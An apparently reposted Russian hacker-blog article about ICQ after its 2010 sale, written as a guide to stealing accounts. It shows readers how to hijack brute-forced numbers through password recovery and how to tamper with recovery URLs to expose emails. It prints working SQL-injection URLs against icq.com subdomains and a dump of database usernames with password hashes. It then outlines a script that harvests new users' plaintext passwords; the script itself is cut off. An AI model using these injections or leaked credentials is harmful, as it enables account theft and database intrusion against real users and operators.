08.12.2023

Hack Pub

Новости интересные и малоизвестные из IT индустрии

ICQ: вчера, сегодня, завтра

В июле 2010 года состоялась знаменательная сделка по приобретению ICQ IM российским холдингом DST у корпорации AOL. Сумма сделки составила 187 миллионов долларов. В связи со столь замечательным событием я просто обязан рассказать тебе о том, что же произошло с нашей любимой Аськой за последний год.

Changes


Первое и самое крупное за несколько лет изменение на веб-страницах icq.com произошло в начале-середине лета 2010 года. Тогда полностью изменилась старая и уже давно всем полюбившаяся система ретрива пароля.


Теперь, заходя по адресу https://icq.com/password, мы видим поле, куда просят ввести UIN или мыло для подключения, и второе поле для ввода капчи. Собственно, в поле с вводом email’а и заключается вся соль. Отныне в ICQ нет такого понятия, как «primary email» с его многоуровневой структурой, а есть понятие «email for login». Если в примари-емейлах пароль ретривился на первое введенное мыло, а все последующие мейлы отпадали, то в новой системе все совершенно иначе.

Смотри: ты сбрутил номер, в который уже было вписано мыло для логина — ты вписываешь свое новое мыло, подтверждаешь его и все! Теперь ты — полноценный владелец сбрученного номера, так как мыло прежнего хозяина больше не имеет никакого отношения к данному уину.

Основные особенности новой системы таковы:
Теперь стало возможным сделать ретрив на пятизначные номера;
Отпала возможность установки своих секретных вопросов/ответов на любой номер;
Старые вопросы и ответы сохранились на всех номерах, где они были установлены, но изменить ты их не сможешь;
Появились пятизнаки с установленными на них секретными вопросами и ответами.

В первые же недели после введения в строй новой системы стали пачками угоняться пятизнаки и другие красивые номера. Во всем
виноваты базы мыл для логина, когда-то собранные асечниками.

Так как никто и никогда не думал, что «email for login» будут что-то значить в будущем, многие вписывали их «от балды» в детали номера, либо вписывали и забывали о них, так что появилась возможность регистрации неиспользуемых мыл, либо взлом уже существующих. Также стоит отметить еще один забавный факт: в связи с отпавшей возможностью изменения секретных вопросов/ответов появились номера, ходившие по рукам. К примеру, если ты узнал ответ на вопрос от номера, и если его узнал кто-то еще, то вы будете постоянно отбирать его друг у друга с помощью ответа на секретный вопрос :).

Словом, одним из таких общеизвестных номеров с паблик-ответом является уин 555555558 с вопросом про любимый цвет и ответом «розовый». Также изменения коснулись и системы регистрации, расположенной по адресу https://icq.com/register — теперь номер выдается не сразу после заполнения необходимых полей, а после подтверждения регистрации по мылу и логина в клиент или на сайт, так что авторегеры уинов также постепенно отмирают.

Вообще, на момент написания статьи еще изменились главная страница ICQ.com (теперь для русских пользователей там присутствовала лишь ссылка на загрузку официального клиента и невнятный дизайн) и страница поиска search.icq.com (для русских пользователей отныне там был встроен поисковик от mail.ru), плюс при заходе на страницу http://www.icq.com/wit/ мы сможем увидеть старых добрых Одноклассников :).

Новые времена — новые баги


Практически сразу после введения новой системы ретрива обнаружился первый хоть сколько-нибудь значимый баг на страницах icq. Баг заключался в том, что любому желающему могло стать известным мыло от любого локализованного номера ICQ.

Принцип действия баги был таков:
Заходим на https://icq.com/password, вводим любой локализованный номер и давим на сабмит;
После сабмита для восстановления пароля нам предлагалось перейти на страницу партнера или нажать ссылку «click here»;
Не переходя на страницу партнера, копируем ссылку «click here» и меняем ее параметры следующим образом:
было: https://www.icq.com/password/form/web?form_type=qna&id=1&sn=XXX&show=1
стало: https://www.icq.com/password/form/web?form_type=qna&id=2&sn=XXX&show=1

После таких нехитрых манипуляций система выдавала нам сообщение о том, что письмо со ссылкой для восстановления пароля успешно отправлено на мейл «mail@partner_icq.com». Данный баг прожил довольно продолжительное время, знающими людьми сразу же были просканены целые диапазоны уинов и составлены списки приаттаченных к ним мейлов.

Здесь же следует отметить инцидент, также произошедший летом 2010 года. Тогда неизвестными злоумышленниками с помощью манипуляций со ссылками ретрива (предположительно) было уведено большинство локализованных пятизнаков. Последствия этого инцидента проявляются до сих пор в виде падения цен на красивые номера и нежелания юзеров покупать уины с локализацией.

Стоит также отметить, что локализация номеров ICQ стала постепенно отмирать:
Болгарский портал ABV.bg — больше не партнер ICQ;
Нельзя аттачить номер и изменять пароль на номере с помощью Bigmir.Net;
Довольно продолжительное время нельзя регистрировать номера на Рамблере, хотя аттач и смена пароля работают вполне успешно;
Yandex также больше не является партнером ICQ;
Нельзя больше регистрировать номера с помощью Atlas.sk, MyNet.com, Nana.co.il и некоторых других бывших и нынешних партнеров.

Дырявый ICQ.com


Если ты помнишь античатовский топик почти трехгодовалой давности о наличии SQL-инъекции на страницах поддомена greetings.icq.com, то, наверное, думаешь, что и по сей день асечные веб-сервисы работают на «SYBASE ASE 15.0.1». Спешу тебя разуверить в этом :).

С приходом DST (или «Mail.ru group» после переименования) веб-паги ICQ.com стали работать на обычном Мускуле ([email protected] — пользователь, msgboard — база данных, 5.1.45-log — версия)!

Информацию о новой скуле (на этот раз на страницах поддомена blogs.icq.com) 17 октября 2010 года опубликовал S00pY на портале Snipper.Ru. После небольшого расследования и с разрешения автора скули я опубликовал подробную информацию, полученную с помощью данной скули (ссылку на первоисточник ищи в сносках). Сама инъекция выглядела следующим образом:

http://blogs.icq.com/blogs/blog/tag/406428869-99999+union+select+1,concat(user,0x3a,password),3+from+mysql.user—+

А вот и все юзеры с их паролями из таблицы mysql.user:

localhost:root:*B3A0E433E7AD0F00794196F3C2931CD66AA89796

%:msgboard_u_rw:*7FBD912E113CF606E410F18C967487CE935ACFAC

%:scout:*9FD2B52556065163308826C11DD588A6F3F2ED9E

%:repl:*90414724CBFFFE7B4880631D5E9E7232C4737680

%:mydbm:*A9C391720DC3B218CD5EFEDFEDB8C55602EFE2FE

%.aol.com:dstdbm:*4D93DC0E9E6FC017216D7DE4B49BC77BEE4E9EDE

localhost:dstdbm:*4D93DC0E9E6FC017216D7DE4B49BC77BEE4E9EDE

%:ping:*75E75A54E1CF941C40965FD3C39B19379102B07B

%:argus:*F5A7D854E9C46784C82EFC0DAE973F61703A7224

%:nocdba:*2D48BF42A42234DBBCADDFA0F94C9ED460BD1567

%:repcheck:*B58082AC1A96B8580F828E2C730A4E91A26DE3B0

%:msgboard_u_ro:*F1D9E0F8627E5AD39CF98BFC58E344CF4CCACAB4

localhost:repcheck:*B58082AC1A96B8580F828E2C730A4E91A26DE3B0

icqwebmsdb-d05.db.aol.com:repcheck:*B58082AC1A96B8580F828E2C730A4E91A26DE3B0

Самая интересная и важная для меня информация скрывалась в таблице msgboard.lsps_tb, содержащей номера («Basic distribution ID» в QIP’е) и имена всех локализованных и рекламных партнеров ICQ.com, в списке также содержался и наш любимый GameLand с их проектом ICQ tv :).

21;Walla

22;HP

23;Prosieben Austria

24;Jetix

25;Rambler Generic

26;Bigmir Belarus

27;Centrum CZ

28;GameLand

29;SUP

30;Puls4

31;Centrum SK

32;Yandex

Не прошло и дня после публикации, как новость о данной уязвимости разнеслась по всему интернету, так что вскоре сервис blogs.icq.com оказался отключенным для проведения технических работ, а затем все заработало, но уже без описанной SQL-инъекции :).


Продолжение истории о скулях


2010 год был крайне богатым на ICQ-баги, так что ты не удивишься, что вскоре после прикрытия бага на blogs.icq.com я начал просматривать страницы асечных сервисов на предмет повторения вышеописанной скули. Совсем скоро мои поиски увенчались успехом :). Аналогичная SQL-инъекция была обнаружена по следующему адресу:

http://www.icq.com/greetings/cards/-1111+union+select+1,
concat(user(),0x3a,version(),0x3a,database()),3,4,5,6,7
+from+mysql.user+limit+0,1+—/send/—

Сравни с древней скулей:

http://greetings.icq.com/greetings/cards/-253 union select null,@@version,null,null,null,null,null,null,1,null,null,null,null,null,null,null,null,null,null—/

Юзер и права были такими же, как в blogs.icq.com, но на этот раз я решил покопать немного глубже.

Итак, самый главный профит на этот раз заключался в таблице registration_temp, в которой содержались следующие поля:

regstr_id

regstr_origin

regstr_fname

regstr_lname

regstr_email

regstr_password

regstr_bdate

regstr_question

regstr_answer

regstr_nickname

regstr_lsp

regstr_reg_date

Немного поизучав природу появления новых записей в данной таблице, я понял, что сюда сразу же заносятся юзеры, зарегистрированные через icq.com/register и пока что не прошедшие валидацию! То есть, если пользователь только что зарегистрировался и не успел нажать на ссылку подтверждения в своем почтовом ящике, любой сможет узнать его данные, тем более пароль хранился в базе в открытом виде!

Недолго думая, я написал простой скрипт, принцип действия которого заключался в следующем:
Входим в бесконечный цикл;
Берем количество записей в таблице registration_temp;
В соответствии с полученным количеством сохраняем в текстовый файл данные последнего зарегистрированного пользователя.

Примерное содержимое скрипта:

Похожие записи:

  1. Как узнать IP адрес по ICQ?
  2. Как сбить человека с мысли(Соц-инженерия)
  3. Анонимность в сети,учимся пользоваться прокси.
  4. Анатомия, понятие, разбор DDoS-атаки.